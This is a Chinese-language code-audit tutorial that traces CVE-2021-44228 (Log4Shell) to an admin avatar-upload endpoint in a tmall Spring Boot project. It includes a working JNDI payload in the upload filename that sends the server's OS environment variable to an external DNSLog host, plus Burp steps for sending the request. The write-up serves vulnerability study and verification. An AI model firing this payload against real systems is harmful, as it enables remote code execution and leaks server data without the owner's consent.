本项目引入的Log4j版本为2.10.0
2.0<log4j<2.14.1 存在CVE-2021-44228漏洞
由于Apache Log4j2某些功能存在递归解析，攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包，最终造成在目标服务器上执行任意代码。
其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中，以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
该组件漏洞主要发生在引入的log4j-core，log4j-api是不存在该问题的。log4j-core是源码，log4j-api是接口。
pom.xml文件引入Log4j组件情况如下图所示，引入了log4j-core，以及版本为2.10.0。基本确定存在问题，验证还需进一步寻找能触发的漏洞点。
由于SprinBoot默认自带日志记录框架，一般不需要引入，在pom.xml中剔除出去。如下图所示：
寻找漏洞触发点
简单的说，就是配合log的等级过滤输出比如，你在开发的时候，要验证一个方法有没有被调用到，为了方便调试，通常会在这个方法开始的时候加一些system.out。但是项目真正发布的时候这些代码通常是要移除掉的，所以通常更建议用logger来记录所以你可能会加logger.debug。 为什么是debug而不是info error或者其他呢？因为通常项目发布的时候都会把日志等级设置为error 或者info之类的等级，在这两个等级下debug的内容是输出不了的，所以就可以做到不需要修改代码就不会输出你只有在调试的时候才需要输出的内容各个等级都是有它的含义的，虽然在代码写的时候你用debug info error都是可以，但是为了方便管理，只有调试的时候才用到日志会用debug，一些信息类的日志记录通常会用info（比如你想看一天有几个用户登录），一些错误的，或者异常信息会用error，比如某个时刻数据库连接出了问题，如果分析日志，直接搜索error开头的就能直接定位到了
一共分为五个级别：DEBUG、INFO、WARN、ERROR和FATAL。这五个级别是有顺序的，DEBUG < INFO < WARN < ERROR < FATAL
全局搜索关键字logger，如下图可以看出，本项目使用logger.info级别记录日志方式居多。
大多漏洞分析文章使用logger.error去做调试。两者区别在于默认记录信息不同，这套代码则大部分使用logger.info而两者知识默认记录的内容不一样，至于出发反序列化都是一样的
经过一番探索，发现有几处日志记录拼接了变量参数，让我们看看这些参数是否是从前端传来的。如下图所示：
双击即可进入该代码文件，该文件位于src\main\java\com\xq\tmall\controller\admin\AccountController.java。该代码文件位于Controller层，主要用于和视图交互，处理用户输入的数据等操作。
关键代码如下图所示：
对上述代码进行分析。触发漏洞点的代码为65行的logger.info("获取图片原始文件名：{}", originalFileName);。向上追踪，发现通过file.getOriginalFilename();获取file的文件名后赋值给originalFileName。在向上追踪，file参数来自admin/uploadAdminHeadImage接口，
黑盒验证：
下面就是两种方法：
第一：根据注释提示可以看出来为管理员头像上传功能。
第二：根据代码拼数据包，用一个上传图片的数据包来改
第一种情况：
修改filename=“${jndi:ldap://${env:OS}.b0gbfq.dnslog.cn}”
DNSLog响应
第二种情况：
通过代码拼凑出url：
https://127.0.0.1:8088/tmall/admin/uploadAdminHeadImage
随便找个上传功能抓包，用它的包体
再随便抓一个tmall网站的数据包，用它的包头
将请求改成POST，url替换为拼接出来的，然后更换刚才抓的包头，再改filename
之后使用burp发包，就可以看到dnslog上的数据
不能出网的使用burp通fastjson验证方法
